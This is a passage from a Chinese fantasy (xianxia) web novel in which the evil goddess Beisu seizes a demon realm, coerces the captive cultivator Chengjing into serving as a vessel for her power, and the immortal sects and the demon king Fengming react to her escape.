以她现在的情况,在魔界待不了多久,雾漓若是下黑手对付她,或是将她的下落出卖给人族,届时便很麻烦。 她得再做些什么。 北溯躺倒,闭眼休息,再睁眼,天刚亮没多久,眼前没有成镜的身影,神识搜寻到他换了个地打坐,很安静。 微微扬唇,心道还挺乖。 她出了梦境,等事情做完,晚上再试试看能不能催化。 一开门,一眼看见在外头的雾漓,瞧见他身上与昨日不同的衣裳,挑了眉,走出去关上殿门,笑道:“你身上衣裳,每日款式都不一样?” 昨日见到他,衣摆开到大腿,今天直接套了条灯笼裤过来,敞着上半身,稍稍一动胳膊,肌肉鼓起,胸肌发达,尤为吸引目光。 北溯瞥了一眼,想的却是成镜。昨晚她看过,若是都用力,成镜或许还比他更出色些。 雾漓发现她看了自己的胸膛,眼底闪过暗色,嘴上嘲讽:“怎么你现在连件衣服都没得穿了?只有一件白衣裳?” 北溯没理他,朝他走去,在他面前站定。 雾漓本想再嘲讽两句,一看到她唇上的伤口,鼻尖还有浓郁的莲香,沉了眸,立刻质问:“你嘴怎么了?” 北溯伸手摸了摸,不疼,昨晚被咬的地方已经结痂了,没在意道:“被咬了。” 雾漓冷笑:“你们玩的真花。” 他说完这句便向她俯身行礼,动作很快,手碰了额间就放下:“想必殿下昨晚应该玩得很开心。” 北溯盯着他,缓缓道:“确实很愉快。” 突然抬手掐住他脖颈,五指用力,看到他涨红了脸,继续说:“不过这里是你的地盘,我再愉快,也不安心。” 雾漓立刻动手,一拳挥上来,被一手握住。 杀气碰撞,北溯不想耗费太多时间,威压毫无保留地降下,将雾漓压迫着跪在自己面前,一字一句道:“我挺喜欢你这里,先将你这魔尊之位借我当几天,等我的事情结束,再还给你。” 雾漓冷嗤:“魔界可不是我一个人说了算,我只拥有魔域。即便你逼迫我答应,魔域里还有数名魔将等着。” 北溯松开他,想到那日见到的女子,问:“在你之下,还有几个算是比较厉害的?和你一起去黑水的那个呢?” 雾漓起身,揉了揉脖颈,听到她这么说,眼中闪过狂喜,面上未表露分毫。 “那日你也在?”他换了一句话:“那时你已经破出封印了?” 他控制着颤抖的身体,看她的眼神狂热,一会焦躁,一会愤恨,又说出一句:“所以你才会知道我被成镜伤到了?” 北溯没理他,当他是默认,直接放开神识去找魔域内实力她能看得上的魔。 身形一动,出现在一片花海中,花香浓郁,太过甜腻。视线搜寻,在花海中央看到一座凉亭,里头躺着一女子,姿态妖娆。 北溯直接到她面前,在她惊愕的目光中,对她说:“魔域已经易主,雾漓不再是你们的魔尊,你该换个主子效忠了。” 雾蓉当她在说废话,拔出弯刀就动手。 北溯躲开她的攻击,攥住她手腕,稍一用力,她吃痛地松开弯刀。 “不服随时来找我,你也可以去问雾漓,问他为什么会屈服于我。”她松手,转身离开。 雾蓉震惊,她根本不知道发生了什么,雾漓居然就这么卖了魔域? 她方要拾起弯刀偷袭,眼前的女子回头,立刻收了弯刀,只听她问:“你叫什么?” 雾蓉下意识回答:“雾蓉,草字头那个容。” 北溯哦了一声,直接走了。 等眼前没有女子的身影,雾蓉才回过神,惊觉自己就这么被唬住了,连名字都告诉了她。 收回了要打回去的念头,刚才她速度几乎快到极点,依旧被那女子轻易躲过去,甚至被钳住手腕时,一丝力量也使不出。 这女子究竟什么来头,连雾漓都打不过她吗? 不过片刻,花海里出现两道身影,还没到凉亭,就朝她哭诉:“来了个疯子见到魔就打,我们根本打不过她,您快请尊主收拾她!” 雾蓉一看他们鼻青脸肿,再看自己已经不怎么痛的手腕,将雾漓已经叛变的消息告诉他们。 两名魔将对视一眼,难以置信。 北溯基本上将那些个魔将都打服了后,发现魔域最里层有一处深渊,对面隐约有魔气涌出,想起魔界分裂那档子事,猜测对面就是魔渊,没有再过去。 魔渊的魔尊可比雾漓强多了,能不动手就不动手。 她转身离开,回到魔宫,雾漓已经在那里等着她。 北溯一瞧见他手臂上的银环,上次生出的念头又起。许是她的目光太强烈,雾漓发觉,顺着她的视线看过去,见她在看自己的臂环,作势要摘下来。 “殿下若是喜欢,我可以送给殿下。” 北溯蹙眉:“不喜欢。” 她要没戴过的,干净的。 雾漓知道她不会要,只是随口说说,双眼黏在她身上,肆意打量,忽然问:“你既然出来了,为什么不告诉我?还带了个人族来我这。” 北溯想了想,醒来后也没见几个人,有些人没必要告诉,况且她要修复鳞舞,越多人知道,越容易暴露她的踪迹。 她没理雾漓,抬手掐诀,弯月悬于整个魔域,无形的力量笼罩,所有魔后颈刻上一道弯月。 这是禁咒,一旦说出她的踪迹,禁咒启动,当场死亡,即使搜魂也没用。 这才去搭理他:“我倒是很好奇,你怎么会去黑水,还杀人族修士抢走灵源。” 她走到雾漓面前,俯下身,盯着他的双眼,说:“你想解开封印?” 莲香袭来,凸起的喉结滚动,雾漓指尖微微一动,咧嘴嗤笑:“我确实想解开封印。” “将你从棺材里挖出来,再亲手捅死。” 他挑衅着,继续咒骂:“殿下的命怎么这么硬,被昆仑仙尊捅了那么多刀都没死。” 北溯直接凝出匕首捅进他腹部,嫌弃地将手的血擦在他胸膛上,一脚将人踢得跪伏在地。 “你都没死,我怎能死。” 恨意与怒火编织的网将他们兜住,谁也没有放下当年的事,积压在心底,只等着报复的那天。 北溯走到他面前,居高临下俯视他,“你别着急,等我杀了那群老不死的,再来找你算账。” 他只能看到她的鞋履,荡过来的衣摆上混杂着莲香,他恶狠狠地想,昨晚这两人该是多快活,在他的地盘翻云覆雨,快活得嘴皮子都咬破了。 他将眼底狠色压下,控制自己想要将这个该死的女人捅死的念头,低低笑出了声:“我等着殿下来找我。” 素底鞋履消失,雾漓又趴了会,才站起来,冷眼瞧向殿外,“你们有事?” 来的几个魔将连连摇头,转身要跑,想到还有件要紧的事没说,赶紧回去汇报。 “魔域与人界边境探查到有人族修士靠近,其中还有一道很强大的气息。” 雾漓当即走向殿外,下令:“加强戒备,加紧操练,我要见到一支能摧毁道宗的军队!” 魔将齐齐领命。 雾漓望着北溯寝殿的方向,露出痴狂的笑:“殿下,是时候将我们的曾经受的伤害,一一报复回去了。” 北溯不知道他在干什么,为了不被昆仑发现,她将空间禁锢阵扩大到整个魔域的范围,耗费了不少力量,缓了一会才回寝殿。 刚靠近寝殿,还没开门,听见里头有什么动静,像是里头的人听到殿外的脚步声,慌张地将什么东西放回原位而发出的响声。 北溯并不觉得这间寝殿内有什么东西会引起成镜注意,那就奇怪了,他在里面打坐,怎么还会动呢。 是在找什么逃离此处的方法? 没有急着进去,在门口站了好一会,这时正当晌午,太阳高照,她的影子笔直得投入殿内,轻易就能发现她站在门口。 里头没了动静,北溯等了一会,才推开门。 入目的是昨晚被撕碎的帷幔,床上没有人。 北溯先往左边看,桌椅上空空的,也没有人。 那么—— 她缓缓转头看向右侧,那里没有莲台,只有一人背对她站着。 一动不动,没有丝毫反应。 北溯迈步走进寝殿,关了寝殿门。 关门的声音还是没有引起他注意。 北溯越发觉得奇怪,每次她来时,这人都会看她,怎么现在面对着墙壁,一动不动的? 她快步走过去,一把拉住他胳膊,他似乎没有防备,就这么被她拉着面向她。 看清她脸的一瞬,成镜后退一步,离得墙太近,直接撞在墙壁上,后背贴着墙壁,身体弯曲。 北溯正要去探查他丹田情况,视线下移忽然觉得哪里不对劲。 除了休息时穿的薄纱,他之前穿的都是修身款,系着腰封,身形颀长,但现在,衣裳有些过于宽大了。 她低头仔细看,旋即被人捂住双眼,北溯眨了眨眼,眼睫蹭过他掌心,那只手立刻收了回去。 她继续看。 成镜尤为难堪地遮住自己,发现抵挡不住她的视线,转过身背对她。 然而转身一瞬间,北溯清晰看到,他宽大的衣衫里凸显出来一处。 呆愣了片刻,一股难以言喻的感觉涌上来,她略显错愕道:“你,怀上了?” 成镜当即怒喝:“闭嘴!” 第26章 好像还是第一次见他失态到控制不住自己的情绪,声音失控。 北溯揉了揉耳朵,再一看,他已经背过身。眼前只有男人垂顺的墨发,遮住侧脸,看不见他的表情。 但那绷紧的身体,全身上下散发的气息,处处显示着他此刻的紧张与局促。气息粗重,不知是因为无法接受某个事实,还是因为见到她而引起的。 目光在他宽大衣袍下的腹部停留片刻,疑惑,她有那么厉害,这么快就有效果?或者是成镜的身体孕育能力强? 若是真这么快见效,那便不用一个多月就可见到鳞舞了? 北溯去拉他:“让我看看。” 隔着衣裳都能感觉到他手臂紧绷,硬得像铁。没拉动,他依旧背着身,一言不发。 北溯又拉了一次,还是没拉动。 再次疑惑看他,这人力气有这么大?前几次不是任由她随便弄,都反抗不了么,月圆之夜过去才多久,他的力量恢复得这么快? 没了耐心,直接动用法力将人掰着面向自己,他又要挣扎转回身,北溯手疾眼快地定住他。 这次人倒是面向自己 了,只是那双眼里冒出的火都要将她烧成灰。 北溯看着他这双眼好一会,说了一句:“放心,它很乖的,不会闹你。” 说完这句,也不看他是什么反应,抬手覆上他的腹部,错过了成镜被她碰到腹部时,眼中一闪而过的无措。 虽然人被定住,但手触碰上去那一瞬间产生的反应,北溯还是感觉到了。 紧绷到所触之处如在摸石块,感觉不到一丝柔软。 昨晚摸的时候,并未有这么硬。 但似乎不是怀上了。 北溯探入丝丝法力,并未感知到鳞舞成型,丹田依旧如昨晚结束后那般平静,至于她看到的疑似凸起,不过是她的力量在他身体里起了排外反应,没有融合好。 果然,她身上的邪气不是谁都能完全接纳的,还是需要她再做催化。 不过昨晚到今早并未有异常,她不过是出去了一会功夫,昨晚还特地用灵源冲缓了邪气,怎么就产生排外反应了? 她再次探查,丹田没有异样,但连接丹田的灵脉堵塞,阻止灵力流通。 北溯冷了眸,抬眸看他,此时两人的情绪大抵像是,都在压抑怒火。 她出口的声音平静:“你在尝试封锁丹田,另辟一处空间代替丹田运转灵力?” 成镜知道她会看出来,但没想到自己还没成功,就被发现。 那只手稍微动了动,不知做了什么,腹部灼烧,本已经快停止运转的丹田再次动起来,吸收他恢复的那么一丁点灵力。 耳畔是她的声音,语气平静,却叫人后背生寒。 “乖一点,不要逼我动手。”北溯指尖上移,抚过他的胸膛,再往上,抵住他的脖颈。 冰凉的指尖在男人脖颈上游移,如同阴湿的蛇身缠上来,稍不留神,便是致命一击。 “你只需在此地待着,将它生出来,旁的,不要想,也别妄想去做。” 那只手掐住他的下巴,警告他:“再被我发现,我会将你绑起来,你连动都动不了。” “也别想着用你那面破镜子。” 松开他,撤了定身术,转身离开。 在殿门被关上的那一刻,成镜后背抵着墙壁,喘息着盯着殿门。 他没有再碰自己腹部,从她口中知道那并不是自己真的有了不该有的东西,心头莫名舒了一口气,旋即想到她后面说的话,动作僵硬地看向自己腹部。 这招被识破,她必然会格外关注,无法再用同样的方法。 被疏通的灵脉将灵力输送给丹田,先前因为截堵灵脉而产生的腹部鼓胀已经疏解,看不出一丝异样。 成镜凝视腹部许久,掌心覆上去,没有感觉到半分异常。 他无法感知到她究竟在自己身体里弄进来什么东西,但从她的反应来看,那对她极为重要,不惜潜伏道宗冒着被发现的风险也要接近他,还对他做了那种事。 垂下的眼忽然闭上,手背遮住双眼,昨晚的一幕幕重现,根本抛不开。 被她戏弄的自己,无法反抗,甚至还可耻地被她拉着一起沉沦。 他不该那么做的。 喉头滚动,身子突然躁动,想扯开衣裳,再次靠近那冰凉,以此散发身上的热意。 成镜不知道自己是怎么了,多年来坚持的原则此次被她打破,甚至还破了戒,尽管那时并非是身体在做,但又有何异? 他捂住自己双眼,捏紧拳头,身子颤着,厌弃自己。 成镜,你不该如此。 昏暗的殿内只有他一人,无人能感知到他的存在,即使雾漓在结界外徘徊多次,也探查不到他的气息,更何况相距千百里的道宗。 将近傍晚都未曾等到两名去黑水检查封印是否完好的仙尊回来,摇光仙尊当即向天枢仙尊请命去黑水查看情况,被否决。 “他们至今未传信息回来,怕是出事了。” 天枢仙尊沉默片刻,道:“以他们的修为,若不出意外,今日日出前便该回来了。” 摇光心惊,明白他的意思:“您是说,他们已经遭遇不测,回不来了?” 天枢仙尊未言,环视殿内其余仙尊,脸色沉重:“如今道君下落不明,两位仙尊已遭不测,那邪神当是已经挣脱封印,杀害两位仙尊。剩下的路再走,怕是极为艰难。” 诸位仙尊齐齐道:“我等不怕。” 天枢仙尊一一看过他们,沉声道:“道君于人界,乃至仙界而言,至关重要,必须要找到他,除邪神缺他不可。” “尔等听令,务必要在邪神彻底恢复实力前,找到道君。” 其余十位仙尊齐齐跪地,领命。 他们带着铲除邪神的任务而来,不除去邪神,天下难安,昆仑难安! “四星宿仙尊留下。” 六名仙尊先行离开,出宗继续搜寻。 四星宿仙尊分别为青龙,白虎,朱雀,玄武。四名仙尊齐齐看向天枢仙尊,问:“仙尊可是有旁的事要吩咐我等?” “道宗宗主与本尊说起道君先行查探邪神封印时,遇到魔尊雾漓。” 四仙尊诧异面面相觑,一身红衣的朱雀仙尊思索片刻,道:“可是三百年前为昆仑提供邪神踪迹的妖王?” 天枢仙尊点头:“确实是他。” “杀修士抢灵源,他是想解开封印?”玄武仙尊疑惑:“当初他与孔雀妖族投诚,协助昆仑击杀邪神。如今又想解开封印,他是打的什么主意?” “他这是想操控邪神,祸乱人界。”说话的是青龙仙尊,魁梧雄壮,面露不屑:“从妖堕成魔,被魔气扰乱心智,哪会做什么好事。” “仙尊的意思,是要去魔界查探查探?”手拿折扇的白衣男子一说完,天枢仙尊便下了命令。 “你四位去魔界探查,”他转而看向玄武仙尊,道:“你的幻颜术法极难勘破,可潜入魔界,接近魔尊雾漓,搜寻邪神与道君,切记勿打草惊蛇,若有线索,不要急着动手,先将消息传回。” 他面色稍显凝重:“那两名仙尊虽实力在我等之中最弱,但在人界即便是无妄境修士都无法杀死他们,能杀死他们的,只有邪神。” 四名仙尊面面相觑,意识到一件颇为棘手的事。 “所以冒充道君,昨晚大闹道宗的人,是她?” “那么道君失踪,定然与她脱不了关系!” “怕只怕,她想借用道君的身体,做些什么。” 天枢仙尊语气沉重:“恐怕她已经对道君下手了。” 四位仙尊当即请命:“我等这就去魔界探查!” 四道身影齐齐消失,天空中划过四道虹光,瞧见的弟子称奇道:“天上是有什么东西在飞吗?” 天枢仙尊凝视殿门许久,缓缓开口:“进来吧。” 黑衣女子走进来,朝他跪拜行礼。 天枢仙尊未叫她起身,坐在首座,俯视她:“本尊命你看守道君,你便是这么看守的?” 天綪惶恐,立即认罚:“是我看守不严,让贼人得逞,请仙尊责罚。” 天枢仙尊睨她一眼,如同在看蝼蚁:“待事情结束,你便自请卸下宗主之位。” 天綪僵直了片刻,却未立即应下来,道:“道宗发展到如今规模,整个人界以道宗为首,重大事项皆是我去操办,若是我卸去宗主之位,新任宗主若非德高望重之人,恐难得天下人信服。” 天枢仙尊并未说话,只冷哼一声,天綪顿时后背发凉,知道自己不该说这些的,当即领罚。 “一切都遵仙尊之意,是我失职,该卸去宗主之位。” 天枢仙尊眯眼看她,似乎在观察她是否真心认错。这目光犀利,天綪一动都不敢动。 “你放心,届时会有人替你管道宗。” 天綪听出天枢仙尊没有要杀自己的 意思,松了口气,又听他说:“道君可曾出过道宗?” 天綪摇头:“自百年前几位仙尊来过后,除开道宗遇到几次难以应对的危机,请道君出面解决,道君一直未离开过道尊,潜心修炼,甚至鲜少离开重莲殿。” 顿了顿,她补充道:“最近的一次是妖王凤鸣来袭,我请道君御敌。” 天枢仙尊道:“再带我去重莲殿。” 天綪赶忙起身,带着他去到重莲殿。那晚的狼藉已经被清扫干净,只是莲池基本上空了。 到重莲殿时,她忽然想起来有些细节未说:“我先前怀疑过那名杂役弟子,若冒充道君的人也是她,她应是惧怕降魔杵的威力。” 天枢仙尊在大殿前停下,转而看她,问:“你拿出了降魔杵?” 天綪点头,道:“当时降魔杵能对她产生反应,她不是妖就是魔。” 天枢仙尊停顿片刻,抬首看向殿内,动手搜寻,这一次,他搜查的不是成镜的气息。果然,不出意外地在寝殿内发现了不属于成镜的气息,而这气息,他熟悉得很。 “冒充道君的人是邪神。” 天綪惊愕,看着天枢仙尊,久久才出口:“那也就是说,抓走道君的,是邪神?她从封印里出来了?” 看到他肯定的神色,再想到那晚自己竟然与邪神对上了,心中后悔,那晚她应该直接动手拦住邪神。 “那突然出现的妖王也是邪神招来的。”天綪忽然向天枢仙尊跪下,坚定道:“仙尊放心,道宗上下全听您吩咐,不除邪神,我心难安!” 天枢深沉的眼盯着她良久,才缓缓点头。 他不再说,施法捕捉寝殿内两道气息踪迹,一道在重莲殿内消失,一道出了护宗结界后便无了踪迹。 他思考一瞬,命令天綪:“你,现在去妖界询问妖王凤鸣,他若不说,你可用此物。” 一颗乌黑珠子落入天綪手中,天枢仙尊解释道:“此法器内含有我一丝仙力,捏碎它,你便可短暂拥有,届时对那妖王使搜魂术,即便他嘴再硬,也无法抵挡搜魂术的威力。” 天綪起身,目光钦佩:“我这就去妖界问他。” 黑色身影消失,整个重莲殿内只有天枢仙尊,他仰头再看重莲殿前的牌匾,目光幽深。 “这次,不是你死,便是昆仑灭!” 在得知道宗宗主来访时,凤鸣便知她是为了问那晚自己为何会突然出现在道宗。 他刚养好伤,还没找到那晚说那句莫名其妙话的人,一听天綪来,火气上涨:“她居然敢来?” 站起来就要往外冲去揍人,被拦下。 凤鸣转头去瞪拦住自己的白衣女子,没好气道:“你要保她?” 女子只一身白衣,远远瞧着气质温婉,却有几分虚弱。 黎衣白缓缓道:“我去,以你的性子,没说几句就要打起来。” “我打便打了,她与我们关系很好吗?还得顾着她?” 火红眉头紧皱,却没动手。他这般的容貌,即使再暴躁,给人的第一感觉依旧是容貌绝佳。 黎衣白仍旧拦住他:“现在不是打架的时候,你忘了你为何会去道宗?” 凤鸣沉默,想到自己在道宗抓的“内应”至今未出现,再一想那道陌生的女声,忽然有个大胆的猜想。 他与黎衣白对视,读懂她眼中信息,思索片刻,最终妥协。 “你去。” 他话头一转:“她若是动手,我可不会手下留情,正窝火着没地方撒气,拿她出气。” 黎衣白不管他这句话,直接去了妖界与人界交界处,天綪正在那候着,见来的是她,直接开口让凤鸣来。 她却笑道:“凤鸣在养伤,无法走动,我替他来。宗主有什么要紧的事,要亲自来妖界?” 天綪打量着她,背在身后的手捏着珠子,考虑要不要借用仙力直接进去抓凤鸣,但仙力只可坚持十息,必须用在关键时刻。 “前晚妖王来我宗,重伤我宗长老以及多名弟子,破坏护宗大阵,致使异种入侵,你们不该给个说法吗?” 黎衣白依旧笑着,她单薄的身影站在交接处,身后群山连云叠嶂,远远瞧着如同妖兽在守护她。 “宗主想要什么说法?”黎衣白浅笑着,她虽是看起来身单力薄,显露的气势不强,却叫人不敢轻易对她动手,有些人表面看着柔弱,真动起手来,手段极其残忍。 不等天綪回答,她直接说:“以妖族与人族的关系,伤便伤了,还需给你一个说法?” “当初你们人族屠戮妖族时,可曾给过妖族说法?”黎衣白面上的笑依旧,声音平静,她直视天綪,继续道:“宗主若是执意要个说法,还请先将当年的账算清了,再来要说法。” 天綪知道她是不让自己见凤鸣,更加证实了他们心中有鬼,除非她闯进去抓到凤鸣,否则就会一直耗在此处。 事关邪神与道君,本就看守道君不严,若是这次还见不到凤鸣,无法回去复命,天枢仙尊更不会看重她。 天綪立刻下了决定,祭出降魔杵,金光大放,黎衣白脸色骤变,当即传信告知凤鸣,自己结阵抵挡降魔杵的威能,阻拦天綪。 然一股威力炸开,黎衣白当即后退数步,结界碎裂,她见情况不对,遁地消失。 天綪收了降魔杵,顷刻间来到殿内,扫视一圈没见到凤鸣,立刻搜寻他的气息,不过一息间,在殿外十里出一座上头找到人,身形闪现,于他身后掐住他脖颈,立刻用搜魂术。 很快天綪沉了脸色,随手扔了手里的妖兽。 那人趴在地上,变回原形,是一只野鸡。 山头浮现两道身影,火红的身影显现,手中凝聚的火球缓缓增大,他捏着这团温度快速升高的火球,走向天綪。 火红的发被这火球衬得更红,红色妖瞳死死盯着她,“想死就过来。” 天綪察觉到珠子里的仙力已经散失,被他们联手摆了一道。 低头看了眼死透的野鸡,再一看这只狡猾的凤凰,并非不能硬打,只是这么做尤为浪费时间,降魔杵需要一直吸收灵力才可催动,现在她没法动手。 但她确实没有在妖界感知到道君气息,也未曾从他们的话里听出与邪神见过的蛛丝马迹,应是不知道君被邪神掳走,否则以凤鸣的性子,必然会嘲笑一番。 她收了降魔杵,骨刀飞旋挡住凤鸣秘术的威能,眼神一闪,忽然道:“你们应该还不知道,邪神已经破开封印而出了吧?” 凤鸣震惊,连秘术都忘了继续施展,就在此刻,天綪抓到他破绽,骨刀飞射而出,瞬间击破他手中火球,冲向他的胳膊。 “你发什么呆!”他身后的黎衣白飞身一踢,将其踢偏,凤鸣回神,往边上躲,还是被骨刀刺破胳膊,他抬手捂住,刚要去打回来,眼前已经没有人影了。 他都顾不上伤口在流血,激动地看向黎衣白,“她刚才说什么了?” 回答他的是冷漠的声音:“她在骗你,想扰乱你心神。” “不,不是,”凤鸣激动得语无伦次:“她绝对回来了,她绝对回来了!” 黎衣白看他那样,呼了口气,先安抚他:“你受伤了,包扎好伤口,再去黑水看看,不就知道了?” “对,去黑水看看就知道她有没有出来——”凤鸣话一顿,忽然瞪大了眼,笑了出来:“不用去,不用去了,那家伙绝对就是——” 凤鸣一想到自己随手一抓有可能就是自己要找的人,高兴得想去飞几圈。 他就知道,那人族在自己面前丝毫不惧怕,甚至说话还有命令的语气,哪个人族敢在他面前这么说话? 就是她! 那晚他抓到的人就是她! 凤鸣眯起眼,连胳膊上伤口都不觉得疼。 又变了一张脸骗人是吧,这次我不抓到你,我就不配当这个妖王! 他立刻往外走,被拦住。 “你要去哪?” 凤鸣没停,边走 边说:“去抓一个叛徒!” 黎衣白知道他要去干什么,在他要走前,说了一句:“你现在出去抓,天綪要是在抬头盯着你,你不就把人送上门给她杀吗?” 凤鸣停下脚,转头看她,良久才说出一句话:“是哦。” 黎衣白见他冷静下来,继续说:“你就在这等着她来找你。” 凤鸣不愿意,自己此次都是被她隐瞒抛弃的那个,要等她来找,那得等到猴年马月。但若想她平安,只能这样。 “那就等她一个月,一个月不来,我就去找她。” 凤鸣冷笑:“北溯啊北溯,你给我等着。” 北溯不想他等,也不知道他在等,她在界碑后观察了半天,确实有不少人族修士靠近,但被她加强过后的结界拦下。 目前没有看到有仙尊硬闯。 以她目前的实力,正面对上那一群仙尊没有胜算,只能逐个击杀。且鳞舞那还需她用神魂之力催化,更不能在这个时候动手。 只能等鳞舞修复好,届时重新签订契约,她的力量便会全部回归。 还是需要再与成镜神魂交融,以此催化。 若不是怕他身体受不住,她便不会隔那么长时间催化,整日催化,连续七八日,应当是可以了。 北溯正要回去时,发现了一个好玩的东西。 那是一只看起来很弱的魔,在结界外磨蹭半天,掏出一把仙器。 原来不是没来啊,是伪装成魔靠近结界,妄想潜伏进来? 北溯想了想,直接把雾漓喊过来,指着还在结界前研究的魔,道:“这只交给你了,要是被发现你把他放进来了,你该知道后果。” 雾漓低头一看,杀意爆出,咧着嘴笑:“殿下放心,我知道该怎么做。” 北溯直接离开,走了几步,忽然掉头问他:“你的臂环,有新的吗?” 雾漓皮笑肉不笑地现场造了一对给她,看着她拿走,还“好心”提醒:“这只是装饰物品。” 北溯拿着玩了一会,丢回去就走。 “不好看。” 雾漓望着她远去的背影,手里的臂环化为齑粉,他转而盯着在结界外的仙尊,杀意凛然。 “又想杀她?” 他哂笑一声:“做梦。” 北溯看出来他是怎么做的臂环,回寝殿的路上按自己的审美做了一对,接口处雕刻莲花,不知道成镜看到臂环觉得如何,她是很满意。 路上遇到的魔一看到她,纷纷退避,一路回到寝殿,准备回去算算催化一次需要神魂交融多久才合适。 她的神魂与一般修士不一样,更强大的神魂,越难承受,越容易失控,勾起心中恶念欲望,当这些恶念欲望都控制不住,膨胀到极点时,神魂灭,人死。 需要她控制好程度。 走之前她将成镜灵脉解开了,他要是想用昆仑镜也不是做不到,不过代价要比平常更严重,那可不是吐血那么简单了。 他这样的人,应该会理清利弊。 北溯推开门,眼前的一幕直接推翻了她对他的猜想。 这人根本不会去顾及到利弊,一开门,一眼看到自己在镜中的身影,翠玉镜面投射出她此刻面无表情的脸,成镜的身影缓缓浮现。 “我已经警告过你,不要用你的破镜子。” 北溯确实觉得恼火。 本来压着怒火没有立刻杀了那仙尊,顾着成镜的身体,回来还想帮他融合,现在他倒是直接用了自己全部灵力催动昆仑镜,甚至还不惜以本体为媒介催动昆仑镜。 吸力拉扯着她进昆仑镜。 她关上殿门,冷眼盯着镜中的他,“偏要寻死?” 雪一样的长睫掀起,他的眼眸平静如水,更令北溯恼火。 她一脚踏进昆仑镜内,逼近他,扼住他的喉咙,在他耳畔低语:“想与我同归于尽?你觉得你能做到吗?” 在她进来的一瞬间,成镜直接催动昆仑镜将她困住,无数丝线拉扯她的身体,四分五裂。 他亲眼看着她在自己面前化为齑粉,飘散在虚无中。 他站了很久,盯着她死前站着的位置,猛然咳出血来,黑发瞬息变白,无力支撑自己的身体,扑倒在地。 用尽最后一丝力气抬起眼,看到灰白的天空,那一瞬间,似乎得到了解脱。 他在心中想,若是在此刻死去,世人永远也不会知道,道宗那位道君,曾被邪神拉进深渊过。 成镜闭上了眼,任由自己的意识下沉。 不知过去多久,乍然睁开眼,周围依旧是白茫茫一片,却叫他遍体生寒。 双臂突然被拉动,刺啦一声,上衣破碎,手臂被勒紧,他僵着身子,一偏头,便看见手臂上被套上的臂环,当即认出来那是魔尊雾漓戴过的东西。 视线缓缓转到前方,看到女子的身影时,瞳孔骤缩。 “你可能忘了,你仍旧在我的梦境中。” 成镜的心陡然沉下。 北溯走到他面前,瞧了眼他双臂上的臂环,满意地点了头。 “确实很配你。” 她看到成镜散开的银发,额间莲花印记也是莹白色的,长睫如雪,肌肤润白。 “确实是朵莲花,哪哪都是白的。” 她俯下身,挑起他下巴,好奇道:“不过莲花也有别的品种,我倒是见过粉色的。” 北溯仔细瞧他,问:“你也可以变成粉色吗?” 第27章 “又或者,”北溯松开他,回想当初见到他的真身,有些期待:“金色?” 眼前的人似乎虚弱到极点,连做出反应的力气都没有,银发散落在碎裂衣裳上,颜色交融,几乎看不出来。 蹲在他身侧,只这么静静看着他,血液染红他的唇,滑落到脖颈上,他也不动,眼帘合上,胸膛逐渐没了起伏。 他的身体在北溯眼前消散,那对臂环掉落,眼前灰白退去,殿内景象再现。 没了力量支撑的昆仑镜无法再困住她,悬浮在成镜身侧,镜面黯淡。 北溯想了想,没有现在摧毁昆仑镜,将其先封锁,幻化成一面普通的镜子,挂在墙壁上,转头去看地上躺着的人。 以身体为媒介,差点耗尽灵源来杀她,他可真是恨极了她。 幸亏她留了后手,他若是为了杀她而死,鳞舞就回不来了。 不过他现在的情况,离死也没多远。 北溯在考虑要不要直接将他放熔炉里炼制,成为容器的死物不会说话,也不会反抗,至少她不用担心他会死,也能彻底放心鳞舞修复。 她依旧蹲在他身侧,低头看他。 翠绿的竖瞳里倒映出他的身影,破碎,虚弱,快要死了。 北溯曾经想过,若是容器承受不住自己的力量爆体而亡前,她会立即将容器的身体炼制成法器。但在见到成镜后,她没有这么做。 只因为这个人是人族修士里修为最高,最有挑战性。 现在看来,不过如此。 冰冷的竖瞳撤回对他的注视,北溯下了决定。 无论如何,修复鳞舞才是最重要的。 她在这个将死之人身侧盘腿而坐,闭上双眼,阵法升起,一轮弯月伴随星子缓缓显现,整个寝殿内被雄厚的力量充斥,往成镜体内涌去。 北溯在尝试能否在他彻底断了生机前,催化他孕育鳞舞,让鳞舞吸收他体内所有的生机与力量,加上她输送的灵源,应是三日便可成功。 她这么做,相当于将成镜当成了培养鳞舞的养料,待鳞舞吸干他,他便再无价值。 源源不断的力量输送进去,成镜的发丝缓缓转黑,枯竭的灵脉逐渐充盈,一股不属于他的气息在他体内运转,逐渐探入丹田。 不知过去多久,外界天色都暗下来,北溯仍旧没有停。 月升起,不再圆满无缺,月光透着那一扇窗照进来,映照到北溯身上,投下的阴影覆盖着成镜,殿内寂静无声。 许久未动的身体动弹了一下,旋即蜷缩起来,一朵莲花从他身后显现,将他包裹在内,这朵莲花洁净无暇,吸收着北溯的力量,输送给成镜。 北溯睁开眼,看到这朵莲花,蹙起眉头。 她被算计了。 成镜知道自己杀不死她,先是以命相搏,料定她不会放弃他这副身体,在她催化时借她的力量养伤。 不愧是仙物,能化旁人的力量为己用。 北溯现在没法停手,一旦断了力量输送,这朵莲花就会枯萎,鳞舞便会随着他的死而消亡。 但她继续,自己只会损耗更多灵源,届时重伤的便是她。 所以在这朵莲花恢复前,她会在他身体里埋下禁咒,让他没有反抗的机会。如此才能确保万无一失,等到鳞舞诞生。 这一次,是双方互相牵制的结果。 还有一点她很疑惑,他分明是金莲之身,为何见到他的本体,却是白色?难道现在的他并非完整体?需要飞升才可化为金莲? 着实奇怪。 更令她不解的是,金莲在仙界修炼更快,为何会出现在人界? 在她被封印的这三百年里,昆仑又做了什么? 北溯无从得知,只等鳞舞修复,她便能恢复全部实力,只等上昆仑,复仇。 这一天,应该不会等太久。 十二个时辰过去,寝殿内法阵消散,充斥着的雄厚气息淡去。一条若隐若现的丝线连接北溯与莲花,随着阵法的消散,逐渐隐匿。 北溯睁眼,只看到那合起来的莲花泛着荧光,里头的人影若隐若现。她看了会,抬手搭在花瓣上,出乎意料的是,这朵莲花并未排斥,也未表现出亲和,任由她触碰,没有过激的反抗。 除此之外,她还在里头感受到一丝属于自己的气息,很淡,但足以她感知到,只有一丝邪气,对他产生不了什么影响。 掌心顺着花瓣移动,所触之处光滑冰凉,摸着像是水。 里头隐隐传来扑通声,北溯特地感受了会,似乎与自己心跳动的频率差不多,算起来,他这条命,还是她救回来的,他该谢谢她才对。 等了一会,不见莲花有开的兆头,她站起身打算去休息,脑袋一阵眩晕,一口血涌出来,喷到花瓣上。 抬手抹去嘴角血迹,再一看,花瓣上的血渐渐渗透到里头,被吸收得一干二净,一道黑色蛇形印记在花瓣上一闪而过…… 北溯愣神看了会,突然分不清自己是与这朵莲花结契了,还是与他身体里的鳞舞,去感知契约,也只是得到模糊的回应,是她熟悉的气息。 应该是鳞舞。 